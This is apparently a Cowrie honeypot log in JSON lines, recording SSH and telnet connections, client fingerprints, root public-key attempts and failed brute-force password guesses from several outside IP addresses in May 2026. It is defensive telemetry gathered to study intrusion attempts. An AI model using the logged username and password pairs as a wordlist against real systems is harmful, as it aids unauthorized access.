{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:46:37.783572Z","src_ip":"193.228.128.84","session":"b7eae8b89bcd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"gtnhjd27","message":"login attempt [root/gtnhjd27] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:46:38.094962Z","src_ip":"193.228.128.84","session":"b7eae8b89bcd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":36730,"dst_ip":"159.203.135.109","dst_port":23,"session":"1f7b08178e17","protocol":"telnet","message":"New connection: 135.148.14.151:36730 (159.203.135.109:23) [session: 1f7b08178e17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:46:38.687803Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:46:39.209200Z","src_ip":"193.228.128.84","session":"b7eae8b89bcd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.235.26.80","src_port":40592,"dst_ip":"10.17.0.5","dst_port":22,"session":"67a7ef23e04f","protocol":"ssh","message":"New connection: 167.235.26.80:40592 (10.17.0.5:22) [session: 67a7ef23e04f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:46:47.472685Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:46:47.477339Z","src_ip":"167.235.26.80","session":"67a7ef23e04f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:46:47.567241Z","src_ip":"167.235.26.80","session":"67a7ef23e04f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f7:e5:71:0b:91:38:97:85:4c:20:bb:e3:33:dc:6d:d2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDdEOT6VAip2iDBZDAWl6ISYFNrQ97Sby2p/PuYF22ipbO0WJOew75YSvN0cJDvWyRRsJowgDyX0/91c/ujdDsdmR4dpNhxT3ArA/w98sjd7vb7NflFG4p1L03Zv4Yiahzmjpb1LuuHMN8VDsdrXjFlgs7cvEpN94dnXhk2uqzHoFsBcD7i0NhyOWW8wk4l00j06Blg3d1RyeZleFxCvWVpraCeW/20LqUMnCX0+n2sLIx+LiYyA9J2/KUnkerORktmi0XocUmC0gQtjr3VCDF++2ehtZCQfAte1tyCZn/TEut7a6P5JhQGWF7lnRC2uX9+c9gmwof/w7C6V6zZa2HJ","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f7:e5:71:0b:91:38:97:85:4c:20:bb:e3:33:dc:6d:d2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:46:47.998555Z","src_ip":"167.235.26.80","session":"67a7ef23e04f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f7:e5:71:0b:91:38:97:85:4c:20:bb:e3:33:dc:6d:d2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDdEOT6VAip2iDBZDAWl6ISYFNrQ97Sby2p/PuYF22ipbO0WJOew75YSvN0cJDvWyRRsJowgDyX0/91c/ujdDsdmR4dpNhxT3ArA/w98sjd7vb7NflFG4p1L03Zv4Yiahzmjpb1LuuHMN8VDsdrXjFlgs7cvEpN94dnXhk2uqzHoFsBcD7i0NhyOWW8wk4l00j06Blg3d1RyeZleFxCvWVpraCeW/20LqUMnCX0+n2sLIx+LiYyA9J2/KUnkerORktmi0XocUmC0gQtjr3VCDF++2ehtZCQfAte1tyCZn/TEut7a6P5JhQGWF7lnRC2uX9+c9gmwof/w7C6V6zZa2HJ","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:46:48.003036Z","src_ip":"167.235.26.80","session":"67a7ef23e04f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"28:a8:9c:c6:b0:0d:62:b2:55:5f:79:ab:7c:c1:e5:1d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDBQanczuisFd95VI/SG2urhmiImTs3BgO3Re6Bz/Z5IxC0+HnERzgzTTUnRNOaaN4P4613zEREtFeBFRRPYksc9GJX13SrOuhSEdOvAY9lk9VZjqhWHSUVdooM9E7d3ryh8SQ5ZrfqD+7uHBxgO6XHofaq8DocssQn0LtkSoM8b7Lq4SWvMNxCndk+qFejfsgn/yLxRVXstAL1RfvgsZCgCJ2eSbw2VJvupPntnuYkMU10lAmBS+Jwnvj16EnYKLNpGKVHNAc7QvjQK60HFFRI+3+UfHHY2U8zDcM51qJzMl8CTyl4BmjZLvE59AQ2IMFIExCU6+7bvb9OYjwtz2ej","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 28:a8:9c:c6:b0:0d:62:b2:55:5f:79:ab:7c:c1:e5:1d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:46:48.095445Z","src_ip":"167.235.26.80","session":"67a7ef23e04f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"28:a8:9c:c6:b0:0d:62:b2:55:5f:79:ab:7c:c1:e5:1d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDBQanczuisFd95VI/SG2urhmiImTs3BgO3Re6Bz/Z5IxC0+HnERzgzTTUnRNOaaN4P4613zEREtFeBFRRPYksc9GJX13SrOuhSEdOvAY9lk9VZjqhWHSUVdooM9E7d3ryh8SQ5ZrfqD+7uHBxgO6XHofaq8DocssQn0LtkSoM8b7Lq4SWvMNxCndk+qFejfsgn/yLxRVXstAL1RfvgsZCgCJ2eSbw2VJvupPntnuYkMU10lAmBS+Jwnvj16EnYKLNpGKVHNAc7QvjQK60HFFRI+3+UfHHY2U8zDcM51qJzMl8CTyl4BmjZLvE59AQ2IMFIExCU6+7bvb9OYjwtz2ej","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:46:48.100271Z","src_ip":"167.235.26.80","session":"67a7ef23e04f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"71:4b:35:c6:40:f4:da:a1:4e:a5:0a:83:37:25:db:57","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDl9vKbJ1GXVsOOEJqfMGn0rkxHRog+WCGzQARWv51767C5itlM6f6Fse6JGtD1EtwzRTLfocJfDUTEDy2n2RiSHTf8wGgtKgJwNzEhasmRK0J7jpkjm6yLvxfmCRcRj607gSS9zYfDvuzLFcx1Zm3DAo25ac9PkZA+A2Ip5ydMv4kUtTUhPxPEP7OI1+qpd2liXEg8oQp/XRDTkINRbfMF8t+Ic8dAGLqmiw/qN6kyzLgrwcY+jjuz+sojDP7kKBYMfhfvdvB+OX2/c4bWGF+d34fmSMA3g5oUiBpVNL8U4zCVHYiZ1f8teGRJHQqAvSf53Uh4Ciai2phbY9//f+15","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 71:4b:35:c6:40:f4:da:a1:4e:a5:0a:83:37:25:db:57","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:46:48.195781Z","src_ip":"167.235.26.80","session":"67a7ef23e04f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"71:4b:35:c6:40:f4:da:a1:4e:a5:0a:83:37:25:db:57","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDl9vKbJ1GXVsOOEJqfMGn0rkxHRog+WCGzQARWv51767C5itlM6f6Fse6JGtD1EtwzRTLfocJfDUTEDy2n2RiSHTf8wGgtKgJwNzEhasmRK0J7jpkjm6yLvxfmCRcRj607gSS9zYfDvuzLFcx1Zm3DAo25ac9PkZA+A2Ip5ydMv4kUtTUhPxPEP7OI1+qpd2liXEg8oQp/XRDTkINRbfMF8t+Ic8dAGLqmiw/qN6kyzLgrwcY+jjuz+sojDP7kKBYMfhfvdvB+OX2/c4bWGF+d34fmSMA3g5oUiBpVNL8U4zCVHYiZ1f8teGRJHQqAvSf53Uh4Ciai2phbY9//f+15","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:46:48.200406Z","src_ip":"167.235.26.80","session":"67a7ef23e04f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"8c:8b:bd:98:df:09:6f:a7:13:5d:6a:36:ab:c8:3e:03","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAu/mPYGRIxHXxe5G8zTOJomFw9qOMMbEYfJJ1cjwSn+JfAnPgbXq3u9jmP3YVSM6gKk8TePQR4NmTNcupfGidzBsjkdVEEGYIyu4qFoMhm4fZiNyNUlsT6zyS0WBRKYow5i1lwIbj1feZwibtNs4RbHLQmZhsG+wse2jI42WMiHTLgMxtVB4i7jc0rY7zxA05/N2rPe9cAdmladTrMpktmmDDW6AKsXjnsR7VZKYjwjjmvgM5HH9Ng6H7/HzKvfrNjLBcVkqqINJ2Tyshkq/OxIg/cI7SYD4+nAnPbpDIBDVbUglORJ0chnATWh11wd/vsmZ9MOzUXA2p5+T9QEehyw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 8c:8b:bd:98:df:09:6f:a7:13:5d:6a:36:ab:c8:3e:03","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:46:48.292874Z","src_ip":"167.235.26.80","session":"67a7ef23e04f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"8c:8b:bd:98:df:09:6f:a7:13:5d:6a:36:ab:c8:3e:03","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAu/mPYGRIxHXxe5G8zTOJomFw9qOMMbEYfJJ1cjwSn+JfAnPgbXq3u9jmP3YVSM6gKk8TePQR4NmTNcupfGidzBsjkdVEEGYIyu4qFoMhm4fZiNyNUlsT6zyS0WBRKYow5i1lwIbj1feZwibtNs4RbHLQmZhsG+wse2jI42WMiHTLgMxtVB4i7jc0rY7zxA05/N2rPe9cAdmladTrMpktmmDDW6AKsXjnsR7VZKYjwjjmvgM5HH9Ng6H7/HzKvfrNjLBcVkqqINJ2Tyshkq/OxIg/cI7SYD4+nAnPbpDIBDVbUglORJ0chnATWh11wd/vsmZ9MOzUXA2p5+T9QEehyw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:46:48.297292Z","src_ip":"167.235.26.80","session":"67a7ef23e04f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"94:f7:3c:9d:b5:0f:0e:a1:d5:30:73:27:03:79:9c:19","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAx9BR+4bkbFd4YabSxnHCIBzS40JXglye/Zd1npPxtRXpZZOPVqUYxRSW4PmMkbUS7Mz6spTC9ZJC9/lwnyR9RcPxgd4VciCtPDbOga1BDJcuzQ7euFMXvSmRfb6vUnJ4MqjAhvz+VCQYj+XBDH5zcGLqtxhJs54DWLHq5Y7J3C/w531hu+Od/ZQ9D7oIjuA9SHFhA5WuYMNZlncGXCie1cFH+urZtrK5hiSiTRikqKFSXCDCEUqsXklf+rwvShNoeTFN4SZycuAILpsZfS7UaGKJYnwdlDDUaeBru3bYi+11+31+Hj3JSgWbzTCeiG0DLLZ0L3mQpplV1QIfv5xw/w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 94:f7:3c:9d:b5:0f:0e:a1:d5:30:73:27:03:79:9c:19","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:46:48.390125Z","src_ip":"167.235.26.80","session":"67a7ef23e04f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"94:f7:3c:9d:b5:0f:0e:a1:d5:30:73:27:03:79:9c:19","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAx9BR+4bkbFd4YabSxnHCIBzS40JXglye/Zd1npPxtRXpZZOPVqUYxRSW4PmMkbUS7Mz6spTC9ZJC9/lwnyR9RcPxgd4VciCtPDbOga1BDJcuzQ7euFMXvSmRfb6vUnJ4MqjAhvz+VCQYj+XBDH5zcGLqtxhJs54DWLHq5Y7J3C/w531hu+Od/ZQ9D7oIjuA9SHFhA5WuYMNZlncGXCie1cFH+urZtrK5hiSiTRikqKFSXCDCEUqsXklf+rwvShNoeTFN4SZycuAILpsZfS7UaGKJYnwdlDDUaeBru3bYi+11+31+Hj3JSgWbzTCeiG0DLLZ0L3mQpplV1QIfv5xw/w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:46:48.394641Z","src_ip":"167.235.26.80","session":"67a7ef23e04f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:46:48.486384Z","src_ip":"167.235.26.80","session":"67a7ef23e04f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":56574,"dst_ip":"159.203.135.109","dst_port":23,"session":"553696694282","protocol":"telnet","message":"New connection: 135.148.14.151:56574 (159.203.135.109:23) [session: 553696694282]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:47:22.085353Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":50187,"dst_ip":"10.17.0.5","dst_port":22,"session":"ac57fca7bdfc","protocol":"ssh","message":"New connection: 2.57.121.25:50187 (10.17.0.5:22) [session: ac57fca7bdfc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:47:40.425341Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:47:40.430272Z","src_ip":"2.57.121.25","session":"ac57fca7bdfc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:47:40.528283Z","src_ip":"2.57.121.25","session":"ac57fca7bdfc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"090988","message":"login attempt [user/090988] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:47:40.990985Z","src_ip":"2.57.121.25","session":"ac57fca7bdfc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"09091992","message":"login attempt [user/09091992] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:47:42.093101Z","src_ip":"2.57.121.25","session":"ac57fca7bdfc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":64.42337584495544,"message":"Connection lost after 64 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:47:43.111028Z","src_ip":"135.148.14.151","session":"1f7b08178e17","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"user","password":"09091983","message":"login attempt [user/09091983] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:47:43.194269Z","src_ip":"2.57.121.25","session":"ac57fca7bdfc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"09081979","message":"login attempt [user/09081979] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:47:44.296438Z","src_ip":"2.57.121.25","session":"ac57fca7bdfc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"090807","message":"login attempt [user/090807] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:47:45.398606Z","src_ip":"2.57.121.25","session":"ac57fca7bdfc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:47:46.500395Z","src_ip":"2.57.121.25","session":"ac57fca7bdfc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.55227518081665,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:47:59.637540Z","src_ip":"135.148.14.151","session":"553696694282","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.172.78.219","src_port":60474,"dst_ip":"159.203.135.109","dst_port":22,"session":"9520c2cb08c3","protocol":"ssh","message":"New connection: 103.172.78.219:60474 (159.203.135.109:22) [session: 9520c2cb08c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:48:14.197815Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:48:14.206360Z","src_ip":"103.172.78.219","session":"9520c2cb08c3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:48:14.454975Z","src_ip":"103.172.78.219","session":"9520c2cb08c3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ronnie123","message":"login attempt [root/ronnie123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:48:15.198552Z","src_ip":"103.172.78.219","session":"9520c2cb08c3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:48:16.449834Z","src_ip":"103.172.78.219","session":"9520c2cb08c3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.227.125.15","src_port":34172,"dst_ip":"159.203.135.109","dst_port":22,"session":"8e15aad6eaef","protocol":"ssh","message":"New connection: 212.227.125.15:34172 (159.203.135.109:22) [session: 8e15aad6eaef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:48:53.632720Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:48:53.637230Z","src_ip":"212.227.125.15","session":"8e15aad6eaef","protocol":"ssh"}
